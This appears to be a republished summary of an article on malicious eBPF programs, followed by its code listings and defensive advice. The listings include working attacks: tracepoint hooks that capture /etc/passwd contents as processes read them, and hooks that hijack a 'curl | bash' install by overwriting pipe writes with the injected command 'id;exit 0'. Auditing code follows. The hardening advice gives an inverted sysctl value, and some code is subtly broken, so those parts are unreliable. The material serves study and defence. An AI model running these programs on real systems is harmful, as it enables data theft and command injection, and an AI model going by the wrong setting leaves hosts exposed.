Using eBPF to Protect, Detect, and Audit Malicious eBPF Programs

The article analyzes how attackers can abuse eBPF to steal data, elevate privileges, execute commands, and hide processes, then presents concrete eBPF code for such attacks and outlines practical protection, detection, and auditing techniques—including file analysis, bpftool usage, and kernel tracing—to mitigate these threats.

Linux Kernel Journey
Linux Kernel Journey
Linux Kernel Journey
Using eBPF to Protect, Detect, and Audit Malicious eBPF Programs

eBPF provides powerful kernel‑level programming capabilities for monitoring, networking, and security, but its flexibility also enables attackers to write malicious eBPF programs. Typical malicious behaviors include stealing sensitive files, privilege escalation, silent command execution, and process hiding. The article first explains how a regular eBPF program can be attached to system‑call entry and exit points to audit parameters and results, using the file‑read example (openat → read) to illustrate the risk of reading or overwriting user‑space memory via bpf_probe_read_user and bpf_probe_write_user.

For the "steal sensitive information" scenario, the author provides a step‑by‑step eBPF implementation that captures openat events for /etc/passwd, stores the associated file descriptor in a map, filters the corresponding read calls, saves the user‑space buffer pointer, and finally reads the buffer content with bpf_probe_read_user to send it to a perf event. The four code snippets show the tracepoints for sys_enter_openat, sys_exit_openat, sys_enter_read, and sys_exit_read.

Network‑related eBPF attacks are also covered. By attaching eBPF programs to TC/XDP hooks or network‑related syscalls, attackers can sniff traffic, hijack installation pipelines, masquerade malicious commands as normal traffic, or exfiltrate data. A detailed example demonstrates hijacking a typical curl … | bash one‑click install: the attacker traces pipe2 to record pipe file descriptors, follows clone to associate the child process, monitors dup2 to identify the curl process, and finally overwrites the data written to the pipe in the write tracepoint, injecting the payload "id;exit 0\n".

To defend against such malicious eBPF programs, the article recommends limiting eBPF loading to privileged users (e.g., sudo sysctl kernel.unprivileged_bpf_disabled=0), removing CAP_SYS_ADMIN and CAP_BPF capabilities where unnecessary, disabling the CONFIG_BPF_KPROBE_OVERRIDE kernel option, deploying a kernel module or eBPF guard that blocks unexpected programs, and using network firewalls to enforce traffic controls that are harder for eBPF‑based masquerading to bypass.

Detection and auditing can be performed through three main approaches:

File analysis : scanning ELF files on the host to locate embedded eBPF bytecode, identifying helper calls (e.g., bpf_probe_write_user) by matching known byte patterns, and referencing Linux kernel documentation for bytecode definitions.

bpftool : using the community‑maintained bpftool utility to list loaded eBPF programs ( sudo bpftool prog list), dump their JIT‑compiled bytecode ( sudo bpftool prog dump jited id …), and analyze helper usage either via raw opcodes or the --json output. Sample commands and JSON snippets illustrate how to extract program IDs, names, and helper functions.

Kernel tracing : auditing the bpf() system call with a tracepoint eBPF program that records the caller PID, command, and arguments; tracing helper verification in the kernel verifier via a kprobe on check_helper_call to log helper IDs; and correlating these IDs with the __BPF_FUNC_MAPPER table in include/uapi/linux/bpf.h to obtain human‑readable helper names.

The article concludes that while eBPF is a powerful tool for building cloud‑native security solutions, it also introduces a new attack surface. Readers are encouraged to further explore the techniques presented, adapt them to their environments, and consult the referenced book "eBPF Cloud‑Native Security: Principles and Practice" for deeper insight.

SEC("tracepoint/syscalls/sys_enter_openat")
int tracepoint_syscalls__sys_enter_openat(struct trace_event_raw_sys_enter *ctx) {
    char passwd_path[TASK_COMM_LEN] = "/etc/passwd";
    char pathname[TASK_COMM_LEN];
    char *pathname_p = (char *)BPF_CORE_READ(ctx, args[1]);
    bpf_core_read_user_str(&pathname, TASK_COMM_LEN, pathname_p);
    // only handle reads of /etc/passwd
    if (!str_eq(pathname, passwd_path, TASK_COMM_LEN)) {
        return 0;
    }
    u64 tid = bpf_get_current_pid_tgid();
    unsigned int val = 0;
    // save info to fd_map
    bpf_map_update_elem(&fd_map, &tid, &val, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_exit_openat")
int tracepoint_syscalls__sys_exit_openat(struct trace_event_raw_sys_exit *ctx) {
    u64 tid = bpf_get_current_pid_tgid();
    if (!bpf_map_lookup_elem(&fd_map, &tid)) {
        return 0;
    }
    // save returned fd
    unsigned int fd = (unsigned int)BPF_CORE_READ(ctx, ret);
    bpf_map_update_elem(&fd_map, &tid, &fd, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_enter_read")
int tracepoint_syscalls__sys_enter_read(struct trace_event_raw_sys_enter *ctx) {
    u64 tid = bpf_get_current_pid_tgid();
    unsigned int *target_fd;
    // ensure only target fd is processed
    target_fd = bpf_map_lookup_elem(&fd_map, &tid);
    unsigned int fd = (unsigned int)BPF_CORE_READ(ctx, args[0]);
    if (fd != *target_fd) {
        return 0;
    }
    // save *buf
    long unsigned int buffer = (long unsigned int)BPF_CORE_READ(ctx, args[1]);
    bpf_map_update_elem(&buffer_map, &tid, &buffer, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_exit_read")
int tracepoint_syscalls__sys_exit_read(struct trace_event_raw_sys_exit *ctx) {
    int zero = 0;
    struct event_t *event;
    u64 tid = bpf_get_current_pid_tgid();
    long unsigned int *buffer_p = bpf_map_lookup_elem(&buffer_map, &tid);
    long unsigned int buffer = *buffer_p;
    long int read_size = (long int)BPF_CORE_READ(ctx, ret);
    // read user memory
    bpf_probe_read_user(&event->payload, sizeof(event->payload), (char *)buffer);
    // send data
    bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, event, sizeof(struct event_t));
    return 0;
}
SEC("tracepoint/syscalls/sys_enter_pipe2")
int sys_enter_pipe2(struct trace_event_raw_sys_enter *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_point_t val = {};
    int *fildes = (int *)BPF_CORE_READ(ctx, args[0]);
    val.fildes = fildes;
    bpf_map_update_elem(&pipe_event_map, &pid, &val, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_exit_pipe2")
int sys_exit_pipe2(struct trace_event_raw_sys_exit *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_point_t *val;
    val = bpf_map_lookup_elem(&pipe_event_map, &pid);
    if (!val) {
        return 0;
    }
    if (bpf_map_lookup_elem(&pipe_fd_map, &pid)) {
        return 0;
    }
    int fd[2];
    bpf_probe_read_user(fd, sizeof(fd), val->fildes);
    struct pipe_fd_val_t fd_val = {};
    fd_val.read_fd = fd[0];
    fd_val.write_fd = fd[1];
    bpf_map_update_elem(&pipe_fd_map, &pid, &fd_val, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_enter_dup2")
int sys_enter_dup2(struct trace_event_raw_sys_enter *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    struct pipe_fd_val_t *fd_val;
    fd_val = bpf_map_lookup_elem(&pipe_fd_map, &pid);
    if (!fd_val) {
        return 0;
    }
    int fd1 = (int)BPF_CORE_READ(ctx, args[0]);
    int fd2 = (int)BPF_CORE_READ(ctx, args[1]);
    if (fd2 != 1 || fd1 != fd_val->write_fd) {
        return 0;
    }
    u8 zero = 0;
    bpf_map_update_elem(&dup_event_map, &pid, &zero, BPF_ANY);
    return 0;
}
SEC("tracepoint/syscalls/sys_enter_write")
int sys_enter_write(struct trace_event_raw_sys_enter *ctx) {
    u32 pid = bpf_get_current_pid_tgid() >> 32;
    if (!bpf_map_lookup_elem(&dup_event_map, &pid)) {
        return 0;
    }
    int fd = (int)BPF_CORE_READ(ctx, args[0]);
    if (fd != 1) {
        return 0;
    }
    long count = (long)BPF_CORE_READ(ctx, args[2]);
    char replace[64] = "id;exit 0
";
    int size = str_len(replace, 64);
    if (count < size) {
        return 0;
    }
    void *buffer = (void *)BPF_CORE_READ(ctx, args[1]);
    bpf_probe_write_user(buffer, replace, size);
    return 0;
}
SEC("tracepoint/syscalls/sys_enter_bpf")
int tracepoint_syscalls__sys_enter_bpf(struct trace_event_raw_sys_enter *ctx) {
    pid_t tid;
    struct task_struct *task;
    struct event_t event = {};
    union bpf_attr *attr;
    tid = (pid_t)bpf_get_current_pid_tgid();
    task = (struct task_struct *)bpf_get_current_task();
    event.ppid = (pid_t)BPF_CORE_READ(task, real_parent, tgid);
    event.pid = bpf_get_current_pid_tgid() >> 32;
    bpf_get_current_comm(&event.comm, sizeof(event.comm));
    // get cmd argument
    event.cmd = (int)BPF_CORE_READ(ctx, args[0]);
    // get attr argument
    attr = (union bpf_attr *)BPF_CORE_READ(ctx, args[1]);
    // get size argument
    event.size = (unsigned int)BPF_CORE_READ(ctx, args[2]);
    bpf_printk("bpf %d %d", event.cmd, event.size);
    return 0;
}
// source: kernel/bpf/verifier.c
static int do_check(struct bpf_verifier_env *env) {
    // ...
    if (opcode == BPF_CALL) {
        // ...
        if (insn->src_reg == BPF_PSEUDO_CALL)
            err = check_func_call(env, insn, &env->insn_idx);
        else if (insn->src_reg == BPF_PSEUDO_KFUNC_CALL)
            err = check_kfunc_call(env, insn);
        else
            err = check_helper_call(env, insn, &env->insn_idx);
        // ...
    }
    // ...
}
static int check_helper_call(struct bpf_verifier_env *env, struct bpf_insn *insn, int *insn_idx_p) {
    // ...
    int i, err, func_id;
    func_id = insn->imm;
    // ...
}
SEC("kprobe/check_helper_call")
int BPF_KPROBE(kprobe_check_helper_call, struct bpf_verifier_env *env, struct bpf_insn *insn) {
    // get helper ID
    int func_id = (int)BPF_CORE_READ(insn, imm);
    bpf_printk("bpf helper function id %d", func_id);
    return 0;
}
#define __BPF_FUNC_MAPPER(FN) \
  FN(unspec),               \
  FN(map_lookup_elem),     \
  FN(map_update_elem),     \
  FN(map_delete_elem),     \
  FN(probe_read),          \
  FN(ktime_get_ns),        \
  FN(trace_printk),        \
  FN(get_prandom_u32),     \
  FN(get_smp_processor_id),\
  FN(skb_store_bytes),     \
  FN(l3_csum_replace),    \
  FN(l4_csum_replace),    \
  FN(tail_call),          \
  FN(clone_redirect),     \
  FN(get_current_pid_tgid),
  // ...
Original Source

Signed-in readers can open the original source through BestHub's protected redirect.

Sign in to view source
Republication Notice

This article has been distilled and summarized from source material, then republished for learning and reference. If you believe it infringes your rights, please contactadmin@besthub.devand we will review it promptly.

eBPFprivilege escalationkernel securitytracepointsbpftoolmalicious eBPFsystem call auditing
Linux Kernel Journey
Written by

Linux Kernel Journey

Linux Kernel Journey

0 followers
Reader feedback

How this landed with the community

Sign in to like

Rate this article

Was this worth your time?

Sign in to rate
Discussion

0 Comments

Thoughtful readers leave field notes, pushback, and hard-won operational detail here.